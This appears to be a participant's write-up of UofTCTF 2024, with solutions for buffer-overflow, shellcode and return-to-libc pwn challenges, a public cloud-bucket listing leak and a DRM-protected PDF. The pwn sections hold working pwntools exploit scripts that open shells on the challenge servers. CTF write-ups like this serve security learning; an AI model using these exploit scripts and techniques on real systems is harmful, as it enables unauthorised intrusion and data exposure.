Try   HackMD

UofTCTF 2024 Writeup

Hello, I'm 9x14S and I participated on this CTF as a member of team 0xE0F.

Flags

Pwn

  • basic-overflow uoftctf{libc_is_abundant_of_gadgets}
  • baby-shellcode uoftctf{arbitrary_machine_code_execution}
  • patched-shell uoftctf{patched_the_wrong_function}
  • nothing-to-return uoftctf{you_can_always_return}

OSINT

  • Flying High UofTCTF{BOD_Iberia_A340-300}

Misc

  • Out of the Bucket 1 uoftctf{allUsers_is_not_safe}
  • Out of the Bucket 2 uoftctf{s3rv1c3_4cc0un75_c4n_83_un54f3}

Jail

  • Baby's First Pyjail uoftctf{you_got_out_of_jail_free}
  • Baby JS Blacklist uoftctf{b4by_j4v4scr1p7_gr3w_up_4nd_b3c4m3_4_h4ck3r}

Crypto

  • Repeat uoftctf{x0r_iz_r3v3rs1bl3_w17h_kn0wn_p141n73x7}
  • Pianoman uoftctf{AT1d2jMCVs03xxalViU9zTyiiV1INNJY}

Forensics

  • Secret Message 1 uoftctf{fired_for_leaking_secrets_in_a_pdf}
  • EnableMe uoftctf{d0cx_f1l35_c4n_run_c0de_t000}

Rev

  • CSS Password ``

Web

  • Voice Changer uoftctf{Y0UR Pitch IS 70O H!9H}
  • The Varsity ``
  • No Code ``

IoT

  • IoT Intro {i_understand_the_mission}
  • Baby's First IoT Flag 1 {FCC_ID_Recon}
  • Baby's First IoT Flag 2 {Processor_Recon}
  • Baby's First IoT Flag 6 {Xor!=Encryption}

Solves

Pwn:

Basic-Overflow

This challenge provides a binary called buffer-overflow, with the following checksec output:

image

Running it gives no output, only waits for user input. Like most challenges like this, they just focus on the exploitation so I immediately threw it into gdb and inputted a cyclic pattern of length 200.

image

This output means that the buffer size is 64 bytes, plus 8 bytes from the extra overwritten stored RBP.

So let's look for somewhere interesting to jump to. I ran rabin2 -s buffer-overflow to get the symbols (functions) in the binary:

image

The shell function seems interesting, so I disassembled with objdump -d buffer-overflow | grep shell -C 10:

0000000000401136 <shell>:
  401136:       55                      push   %rbp
  401137:       48 89 e5                mov    %rsp,%rbp
  40113a:       ba 00 00 00 00          mov    $0x0,%edx
  40113f:       be 00 00 00 00          mov    $0x0,%esi
  401144:       48 8d 05 b9 0e 00 00    lea    0xeb9(%rip),%rax        # 402004 <_IO_stdin_used+0x4>
  40114b:       48 89 c7                mov    %rax,%rdi
  40114e:       e8 dd fe ff ff          call   401030 <execve@plt>
  401153:       90                      nop
  401154:       5d                      pop    %rbp
  401155:       c3                      ret

This basically means that this function spawns a shell, so let's jump to it! I grabbed the address of the function (0x0000000000401136), and started writing the Python script:

from pwn import * context.log_level = "debug" elf = ELF("./buffer-overflow") context.binary = ELF("./buffer-overflow") def poun(bf=0): #t = process() t = remote("34.123.15.202", 5000) payload = flat( b'A' * 72, p64(0x0000000000401136) ) t.sendline(payload) t.interactive() t.close() for i in range(1): print(f"{i=}") poun(i)

The script is just an automated way to send some padding plus the packed (converted to bytes) address.

After running it, I got the shell and the flag:

image

Flag: uoftctf{reading_manuals_is_very_fun}

Baby-shellcode

This challenge provides a binary called babyshellcode with the following checksec output:

image

Seeing the name and the output, this means that we have to overflow the stack with some shellcode, and then jump to it.

Again with rabin2 -s babyshellcode we get the functions:

[Symbols]
nth paddr      vaddr      bind   type   size lib name               demangled
―――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――――
1   ---------- 0x00000000 LOCAL  FILE   0        baby-shellcode.asm
2   0x00001000 0x00401000 GLOBAL NOTYPE 0        _start
3   ---------- 0x00402000 GLOBAL NOTYPE 0        __bss_start
4   ---------- 0x00402000 GLOBAL NOTYPE 0        _edata
5   ---------- 0x00402000 GLOBAL NOTYPE 0        _end

This time, this output is slightly weird, but this only means that the binary was (probably) hand-crafted.

Let's get the disassembled function _start with objdump:

Disassembly of section .text:

0000000000401000 <_start>:
  401000:       48 81 ec 00 04 00 00    sub    $0x400,%rsp
  401007:       ba 00 04 00 00          mov    $0x400,%edx
  40100c:       48 89 e6                mov    %rsp,%rsi
  40100f:       bf 00 00 00 00          mov    $0x0,%edi
  401014:       b8 00 00 00 00          mov    $0x0,%eax
  401019:       0f 05                   syscall
  40101b:       ff e4                   jmp    *%rsp

The most interesting part of this is the last instruction jmp *%rsp which means we jump into the stack! So basically this is the entrypoint to which we can run the shellcode.

I'll save the GDB output this time, as this binary didn't have any buffer.

Let's get some shellcode! At first, I tried using pwntools' shellcraft, but for some reason it didn't work, so I ended up just opting for msfvenom instead:

image

The way I solved it was just by running cat f - | ./babyshellcode (important to also cat -, to not break the pipe and keep typing), and this gave a shell:

image

So the actual exploit was to pipe the shellcode to the remote connection and get the flag:

image

Flag: uoftctf{arbitrary_machine_code_execution}

Patched-shell

This challenge provides a binary called patched with this checksec output:

image

Nothing interesting in the output, and running it just tries to get some input, so I tried with rabin2 -s patched and saw that there was another shell function.

I immediately tried to overflow the return address to jump to that function (the buffer size is the same as the first challenge) by using this script:

from pwn import * context.log_level = "debug" elf = ELF("./patched") context.binary = elf def poun(bf=0): #t = process() t = remote("34.134.173.142", 5000) ret = p64(0x000000000040101a) payload = flat( b'A' * 72, ret, p64(0x0000000000401136) ) t.sendline(payload) t.interactive() t.close() for i in range(1): print(f"{i=}") poun(i)

Which opened a shell and gave me the flag:

image

Flag: uoftctf{patched_the_wrong_function}

(Opinion: this challenge sucked, it was basically copying and pasting the first exploit script)

Nothing-to-return

This one was slightly harder than the first three, but easy enough as it is a basic ROP (return oriented programming) challenge.

Provided files: nothing-to-return, libc.so.6, ld-linux-x86-64.so.2.

checksec output:

image

Here, the interesting part is the runpath part, which means that the binary uses a libc in the same directory. This can't be any more obvious that it is a return-to-libc challenge.

For some reason, running the binary in my machine resulted in error each time, so I had to solve it fully remotely.

image

It prints the address of printf, so that's basically a libc leak from which we can calculate the address of libc when linking occurs. I used a regular expression to parse it in the script.

The relative address of printf is 0x00056250, so the script has to receive to the binary output, get the leaked printf address, convert it to int and then subtract the relative address from it, to get the libc base.

After that, we have to get a few other parts:

  • A /bin/sh string.
  • The relative address of system (or execve)
  • A pop rdi; ret gadget
  • And a ret gadget (to avoid the movaps error that requires stack alignment when jumping to libc functions)

The /bin/sh string can be found inside libc, by running strings -t x libc.so.6 | grep /bin/sh:

image

The system function address can be found like printf was found. This is the address: 0x0004f760

The ret gadget can be found in the binary itself (to avoid having to calculate its address from libc), but the pop rdi gadget has to be found in libc. The addresses are: 0x000000000040101a and 0x0000000000028265 (libc), respectively.

Now the only part left is joining all of this into the solve script, overflowing the buffer and writing the ROP chain into the stack, to then jump into it.

Script:

from pwn import * exe = ELF("nothing-to-return_patched") libc = ELF("./libc.so.6") ld = ELF("./ld-linux-x86-64.so.2") context.binary = exe context.log_level = "debug" PRINTF_LIBC = 0x00056250 BIN_SH = 0x0019fe34 POP_RDI = 0x0000000000028265 SYSTEM = 0x0004f760 RET = 0x000000000040101a def conn(): if args.LOCAL: r = process([exe.path]) gdb.attach(r) else: r = remote("34.30.126.104", 5000) return r def main(): r = conn() data = r.recvuntil(b"Hello") printf_addr = re.findall(r"0x[a-zA-Z0-9]{12}", data.decode()) printf_addr_int = int(printf_addr[0], base=16) libc_base = printf_addr_int - PRINTF_LIBC info(f"Got LIBC base: 0x{libc_base:x}") info(f"Sending payload: POP_RDI, BIN_SH") r.sendline(b"200") r.recvuntil(b"input:") payload = flat( b"A"*72, p64(libc_base + POP_RDI), p64(libc_base + BIN_SH), p64(RET), p64(libc_base + SYSTEM) ) r.sendline(payload) r.interactive() if __name__ == "__main__": main()

Output:

image

Flag: uoftctf{you_can_always_return}

Misc

Out of the Bucket 1

This challenge provides a link to the website (https://storage.googleapis.com/out-of-the-bucket/src/index.html), at which we can see a two flags and some irrelevant text.

image

The first thing I tried to do, was to climb the directory tree upward, by requesting the src/ directory, but that didn't give me any interesting response. Next, I tried requesting the out-of-the-bucket directory, and got this XML response:

This XML file does not appear to have any style information associated with it. The document tree is shown below. <ListBucketResult xmlns="http://doc.s3.amazonaws.com/2006-03-01"> <Name>out-of-the-bucket</Name> <Prefix/> <Marker/> <IsTruncated>false</IsTruncated> <Contents> <Key>secret/</Key> <Generation>1703868492595821</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:48:12.634Z</LastModified> <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag> <Size>0</Size> </Contents> <Contents> <Key>secret/dont_show</Key> <Generation>1703868647771911</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:50:47.809Z</LastModified> <ETag>"737eb19c7265186a2fab89b5c9757049"</ETag> <Size>29</Size> </Contents> <Contents> <Key>secret/funny.json</Key> <Generation>1705174300570372</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2024-01-13T19:31:40.607Z</LastModified> <ETag>"d1987ade72e435073728c0b6947a7aee"</ETag> <Size>2369</Size> </Contents> <Contents> <Key>src/</Key> <Generation>1703867253127898</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:27:33.166Z</LastModified> <ETag>"d41d8cd98f00b204e9800998ecf8427e"</ETag> <Size>0</Size> </Contents> <Contents> <Key>src/index.html</Key> <Generation>1703867956175503</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:39:16.214Z</LastModified> <ETag>"dc63d7225477ead6f340f3057263643f"</ETag> <Size>1134</Size> </Contents> <Contents> <Key>src/static/antwerp.jpg</Key> <Generation>1703867372975107</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:29:33.022Z</LastModified> <ETag>"cef4e40eacdf7616f046cc44cc55affc"</ETag> <Size>45443</Size> </Contents> <Contents> <Key>src/static/guam.jpg</Key> <Generation>1703867372954729</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:29:32.993Z</LastModified> <ETag>"f6350c93168c2955ceee030ca01b8edd"</ETag> <Size>48805</Size> </Contents> <Contents> <Key>src/static/style.css</Key> <Generation>1703867372917610</Generation> <MetaGeneration>1</MetaGeneration> <LastModified>2023-12-29T16:29:32.972Z</LastModified> <ETag>"0c12d00cc93c2b64eb4cccb3d36df8fd"</ETag> <Size>76559</Size> </Contents> </ListBucketResult>

In this response, we can see a new endpoint: (/secret/), along with two files contained in that directory:

  • dont_show
  • funny.json

Requesting the /secret/dont_show file downloads it, and cating it gives us the flag:

image

(The funny.json file is for the next challenge)

Flag: uoftctf{allUsers_is_not_safe}

Forensics

Secret message 1

This challenge provides a PDF file named secret.pdf.

Opening it in a PDF reader (here I'm using okular) shows this:

image

The flag is under the blackened rectangle, but the PDF is DRM protected, which means we can't copy it:

image

Thankfully, okular has an option to ignore DRM protection, which after disabling, I just went and copied the flag.

Flag: uoftctf{fired_for_leaking_secrets_in_a_pdf}

Crypto

Repeat

WIP